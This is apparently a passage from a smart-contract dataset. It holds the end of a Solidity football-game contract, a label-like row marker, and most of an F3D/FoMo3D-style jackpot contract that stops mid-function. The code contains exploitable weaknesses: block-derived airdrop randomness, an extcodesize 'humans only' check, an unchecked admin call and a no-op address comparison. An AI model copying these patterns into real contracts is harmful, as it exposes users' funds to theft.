_endingPrice,
_duration,
msg.sender
);
}
}
contract GlobalDefines {
uint8 constant TYPE_SKILL_ATTRI_ATTACK = 0;
uint8 constant TYPE_SKILL_ATTRI_DEFENSE = 1;
uint8 constant TYPE_SKILL_ATTRI_STAMINA = 2;
uint8 constant TYPE_SKILL_ATTRI_GOALKEEPER = 3;
}
contract PlayerInterface {
function checkOwner(address _owner, uint32[11] _ids) public view returns (bool);
function queryPlayerType(uint32[11] _ids) public view returns (uint32[11] playerTypes);
function queryPlayer(uint32 _id) public view returns (uint16[8]);
function queryPlayerUnAwakeSkillIds(uint32[11] _playerIds) public view returns (uint16[11] playerUnAwakeSkillIds);
function tournamentResult(uint32[3][11][32] _playerAwakeSkills) public;
}
contract BSCore is GlobalDefines, BSAuction, PlayerInterface {
function BSCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function setJOYTokenAddress(address _address) external onlyCOO {
joyTokenContract = ERC827(_address);
}
function setTournamentAddress(address _address) external onlyCOO {
TournamentInterface candidateContract = TournamentInterface(_address);
require(candidateContract.isTournament());
tournamentContract = candidateContract;
}
function() external {
revert();
}
function withdrawJOYTokens() external onlyCFO {
uint256 value = joyTokenContract.balanceOf(address(this));
joyTokenContract.transfer(cfoAddress, value);
}
function getPlayer(uint256 _id)
external
view
returns (
uint256 typeId,
uint256 attack,
uint256 defense,
uint256 stamina,
uint256 xp,
uint256 isKeeper,
uint256 skillId,
uint256 isSkillOn
) {
Player storage player = players[_id];
typeId = uint256(player.typeId);
attack = uint256(player.attack);
defense = uint256(player.defense);
stamina = uint256(player.stamina);
xp = uint256(player.xp);
isKeeper = uint256(player.isKeeper);
skillId = uint256(player.skillId);
isSkillOn = uint256(player.isSkillOn);
}
function checkOwner(address _owner, uint32[11] _ids) public view returns (bool) {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 _id = _ids[i];
if ((_id <= 0 || _id > commonPlayerCount) && !_owns(_owner, _id)) {
return false;
}
}
return true;
}
function queryPlayerType(uint32[11] _ids) public view returns (uint32[11] playerTypes) {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 _id = _ids[i];
Player storage player = players[_id];
playerTypes[i] = player.typeId;
}
}
function queryPlayer(uint32 _id)
public
view
returns (
uint16[8]
) {
Player storage player = players[_id];
return [player.typeId, player.attack, player.defense, player.stamina, player.xp, player.isKeeper, player.skillId, player.isSkillOn];
}
function queryPlayerUnAwakeSkillIds(uint32[11] _playerIds)
public
view
returns (
uint16[11] playerUnAwakeSkillIds
) {
for (uint256 i = 0; i < _playerIds.length; i++) {
Player storage player = players[_playerIds[i]];
if (player.skillId > 0 && player.isSkillOn == 0)
{
playerUnAwakeSkillIds[i] = player.skillId;
}
}
}
function tournamentResult(uint32[3][11][32] _playerAwakeSkills) public {
require(msg.sender == address(tournamentContract));
for (uint8 i = 0; i < 32; i++) {
for (uint8 j = 0; j < 11; j++) {
uint32 _id = _playerAwakeSkills[i][j][0];
Player storage player = players[_id];
if (player.skillId > 0 && player.isSkillOn == 0) {
uint32 skillType = _playerAwakeSkills[i][j][1];
uint8 skillAddAttri = uint8(_playerAwakeSkills[i][j][2]);
if (skillType == TYPE_SKILL_ATTRI_ATTACK) {
player.attack += skillAddAttri;
player.isSkillOn = 1;
}
if (skillType == TYPE_SKILL_ATTRI_DEFENSE) {
player.defense += skillAddAttri;
player.isSkillOn = 1;
}
if (skillType == TYPE_SKILL_ATTRI_STAMINA) {
player.stamina += skillAddAttri;
player.isSkillOn = 1;
}
if (skillType == TYPE_SKILL_ATTRI_GOALKEEPER && player.isKeeper == 0) {
player.isKeeper = 1;
player.isSkillOn = 1;
}
}
}
}
}
} | 1 | 2,583 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DNEW is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9Aa6C2FBF1C610670Ba575c76EcF37E3aA0FfEd0);
address private admin = msg.sender;
string constant public name = "F3DTOP";
string constant public symbol = "F3DTOP";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 18 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
